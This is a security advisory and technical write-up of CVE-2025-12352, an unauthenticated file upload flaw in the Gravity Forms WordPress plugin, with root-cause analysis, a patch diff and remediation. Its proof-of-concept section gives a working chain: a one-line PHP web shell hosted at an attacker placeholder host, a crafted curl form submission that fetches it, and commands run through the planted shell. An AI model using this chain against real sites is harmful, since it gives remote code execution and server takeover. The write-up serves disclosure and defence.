CVE-2025-12352: Arbitrary File Upload in Gravity Forms
Table of Contents
CVE-2025-12352 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Gravity Forms WordPress plugin. It affects all versions up to and including 2.9.20. An unauthenticated attacker can upload any file — including a PHP web shell — directly to the WordPress uploads directory. On servers where allow_url_fopen is enabled and PHP executes from the uploads directory, this leads to full remote code execution without any credentials.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Gravity Forms |
| Plugin Slug | gravityforms |
| CVE ID | CVE-2025-12352 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary File Upload |
| Affected Versions | <= 2.9.20 |
| Patched Version | 2.9.21 |
| Published | November 7, 2025 |
| Researcher | Talal Nasraddeen |
| Wordfence Advisory | Link |
Description
The Gravity Forms plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to and including 2.9.20. The flaw is in copy_post_image(), which copies files from a user-supplied URL to the WordPress media directory. It does not verify that the URL belongs to the plugin’s own upload folder. When allow_url_fopen is On in PHP, an unauthenticated attacker can point this function at an external PHP script. The file is fetched and saved with no extension or MIME-type check — which can lead to remote code execution on the affected server.
Technical Analysis
Vulnerable Code Path
Entry point — form submission POST handler
When a Gravity Forms form is submitted, the plugin reads the gform_uploaded_files POST parameter (a JSON-encoded array) and stores its contents in the static GFFormsModel::$uploaded_files global cache via set_uploaded_files().
File: forms_model.php, function set_uploaded_files() (line ~8520)
public static function set_uploaded_files( $form_id ) {
$files = GFCommon::json_decode( rgpost( 'gform_uploaded_files' ) );
// ...
foreach ( $files as $input_name => &$input_files ) {
// ...
if ( isset( $file['url'] ) ) {
$file['url'] = esc_url_raw( $file['url'] ); // Only sanitizes, does NOT restrict to local URLs
}
// ...
}
self::$uploaded_files[ $form_id ] = $files;
}
The url key in gform_uploaded_files is only sanitized with esc_url_raw(), which cleans URL formatting but allows any valid URL — including external ones.
Field value retrieval — get_submission_files() and get_single_file_value()
File: includes/fields/class-gf-field-fileupload.php, line ~1050
} elseif ( ! empty( $files['existing'][0]['url'] ) ) {
if ( GFCommon::is_valid_url( $files['existing'][0]['url'] ) ) {
GFCommon::log_debug( __METHOD__ . '(): Saving provided URL, not uploading file.' );
$value = $files['existing'][0]['url']; // External URL saved with NO extension check
}
}
GFCommon::is_valid_url() only confirms the string is a well-formed URL. It does not check whether the URL points to an allowed file type or whether it is local to the site.
Post data assembly — get_post_data_for_save()
File: forms_model.php, line ~4819
case 'post_image':
$ary = ! empty( $value ) ? explode( '|:|', $value ) : array();
$url = count( $ary ) > 0 ? $ary[0] : '';
// ...
array_push( $images, array( 'field_id' => $field->id, 'url' => $url, ... ) );
break;
The URL (which may now be an external PHP file URL) is assembled into the post_data['images'] array.
Post creation — create_post() calls media_handle_upload()
File: forms_model.php, line ~5220
$media_id = self::media_handle_upload( $image['url'], $post_id, $image_meta );
The vulnerable sink — copy_post_image()
File: forms_model.php, line 5451 (vulnerable version tag 2.9.20)
private static function copy_post_image( $url, $post_id ) {
// ...
$name = wp_basename( $url ); // Derives filename from attacker-controlled URL
$filename = wp_unique_filename( $upload_dir['path'], $name );
$new_file = $upload_dir['path'] . "/$filename";
// Source path — NO check that $url belongs to GF uploads directory
$upload_root_info = GF_Field_FileUpload::get_upload_root_info( $form_id );
$path = str_replace( $upload_root_info['url'], $upload_root_info['path'], $url );
// If $url is an external URL, str_replace changes nothing; $path remains the external URL
if ( ! copy( $path, $new_file ) ) { // PHP copy() fetches the remote URL when allow_url_fopen=On
return false;
}
// ... no file type/extension validation before or after copy
}
Root Cause
The copy_post_image() function accepts the $url argument without checking where it comes from. It tries to convert the URL to a local path using str_replace(). But if the URL does not start with the GF upload root URL, str_replace() changes nothing — and $path stays as the external URL. PHP’s native copy() function can fetch remote URLs as its source when allow_url_fopen is enabled in php.ini. This lets it download and save any remote file to the uploads directory, with no extension or MIME-type check.
Bypassed Security Controls
The regular Gravity Forms file upload flow does enforce extension and MIME-type validation via GFCommon::check_type_and_ext() and GFCommon::file_name_has_disallowed_extension(). However, these checks apply only to files submitted via $_FILES (direct HTTP file upload). The copy_post_image() code path is a separate, internal mechanism designed to copy an already-uploaded image into the WordPress media library. No check was ever added to block URLs coming from outside the plugin’s own upload directory.
The attacker submits the url key inside gform_uploaded_files in the POST body. Gravity Forms treats this as a “dynamically populated” or “previously uploaded” file URL. That code path skips all file type validation.
Attack Impact
An unauthenticated attacker can upload a PHP web shell (or any other executable file) to the WordPress uploads directory. Many servers run PHP from the uploads directory unless an .htaccess rule blocks it. In that case, the attacker gains unauthenticated Remote Code Execution (RCE): full server compromise, data theft, backdoor installation, or site defacement.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the Gravity Forms plugin installed and activated
- Plugin version <= 2.9.20
- A form with post creation enabled (form settings → “Create Post”) and a Post Image field added
- PHP server configuration:
allow_url_fopen = On(the default in many hosting environments) - A web shell file hosted at an attacker-controlled URL
Step-by-Step Reproduction
Step 1: Identify a form ID with post creation and a Post Image field
Inspect the page source of any page containing a Gravity Forms form. Find the form ID from the hidden input or the form’s data-formid attribute. Also find the Post Image field ID (the input_N name where N is the field ID).
# Example: form ID is 1, post image field ID is 3
# The input name for the post image field would be: input_3
Step 2: Host a PHP web shell at an attacker-controlled URL
# On your attacker server (e.g., http://attacker.example.com/shell.php):
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80
Step 3: Submit the form with a crafted gform_uploaded_files parameter
Replace SITE_URL, FORM_ID, NONCE, and field ID values as appropriate. The gform_uploaded_files JSON tells Gravity Forms that a file has already been uploaded at the external shell URL.
curl -s -X POST "https://TARGET_SITE/wp-admin/admin-ajax.php" \
-d 'action=gform_get_form_filter' \
--cookie "" 2>/dev/null
# First, fetch the form page to get the nonce and form fields:
curl -s "https://TARGET_SITE/the-page-with-the-form/" -o form_page.html
# Extract the nonce value from the response:
grep -oP 'gform_ajax_frame_[^"]+' form_page.html | head -1
Step 4: Submit the crafted form
curl -s -X POST "https://TARGET_SITE/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'gform_submit=1' \
--data-urlencode 'is_submit_1=1' \
--data-urlencode 'gform_unique_id=exploit-test' \
--data-urlencode 'state_1=[]' \
--data-urlencode 'gform_target_page_number_1=0' \
--data-urlencode 'gform_source_page_number_1=1' \
--data-urlencode 'gform_field_values=' \
--data-urlencode 'input_3=' \
--data-urlencode 'gform_uploaded_files={"input_3":[{"url":"http://attacker.example.com/shell.php","id":"aaaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"}]}'
Step 5: Locate the uploaded shell in the media library
After a successful form submission, Gravity Forms creates a post with the copied image as its featured media. The copied file will appear in:
/wp-content/uploads/YYYY/MM/shell.php
The exact URL can be found in the WordPress media library or by browsing the uploads directory.
Step 6: Execute commands via the uploaded web shell
curl "https://TARGET_SITE/wp-content/uploads/2025/11/shell.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Expected Result
The PHP web shell shell.php is stored in the WordPress uploads directory and is executable by the web server, giving the attacker unauthenticated remote code execution on the target host.
Verification
Confirm successful exploitation by:
- Checking the WordPress Media Library for a new attachment with the name
shell.php(orshell-1.php, etc.) - Issuing a GET request to the uploaded shell URL with a
cmdparameter and receiving OS command output - Running
SELECT * FROM wp_posts WHERE post_mime_type = 'application/x-php' LIMIT 5;against the database to confirm the attachment was registered
Patch Analysis
What Changed
The fix was introduced in Gravity Forms 2.9.21. The only changed file is:
forms_model.php—copy_post_image()function
Fix Explanation
The patch adds two guards before the copy() call:
- URL origin check — the supplied URL must start with the GF upload root URL. External URLs are rejected immediately.
- Local file existence check — the resolved local path must exist on disk before the copy runs.
These two guards together completely close the attack surface: external URLs are rejected, and only files already present in the GF upload directory can be processed.
Code Diff (Key Changes)
--- forms_model.php (2.9.20 — vulnerable)
+++ forms_model.php (2.9.21 — patched)
@@ -5490,7 +5490,13 @@ private static function copy_post_image( $url, $post_id ) {
// the source path
$upload_root_info = GF_Field_FileUpload::get_upload_root_info( $form_id );
- $path = str_replace( $upload_root_info['url'], $upload_root_info['path'], $url );
+ if ( ! str_starts_with( $url, $upload_root_info['url'] ) ) {
+ return false;
+ }
+
+ $path = str_replace( $upload_root_info['url'], $upload_root_info['path'], $url );
+ if ( ! file_exists( $path ) ) {
+ return false;
+ }
// copy the file to the destination path
if ( ! copy( $path, $new_file ) ) {
The fix is precise and complete. It addresses the root cause directly rather than attempting to block specific file extensions or MIME types. There are no known residual risks from this specific change.
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Talal Nasraddeen |
| November 7, 2025 | Publicly disclosed by Wordfence |
| November 7, 2025 | Patched version 2.9.21 released |
Remediation
Update the gravityforms plugin to version 2.9.21 or later immediately. If you cannot update right away, disable any forms that have post creation enabled with a Post Image field. As an alternative, restrict those forms to authenticated users only.
References
- Wordfence Advisory — Gravity Forms <= 2.9.20 Unauthenticated Arbitrary File Upload via copy_post_image
- CVE-2025-12352 — NVD
- CVE-2025-12352 — GitHub Advisory Database
- Patchstack Advisory — Gravity Forms 2.9.20 Unauthenticated Arbitrary File Upload via copy_post_image
- Vulnerable code — forms_model.php line 5451 (pronamic/gravityforms mirror)
- File upload class reference — class-gf-field-fileupload.php line 306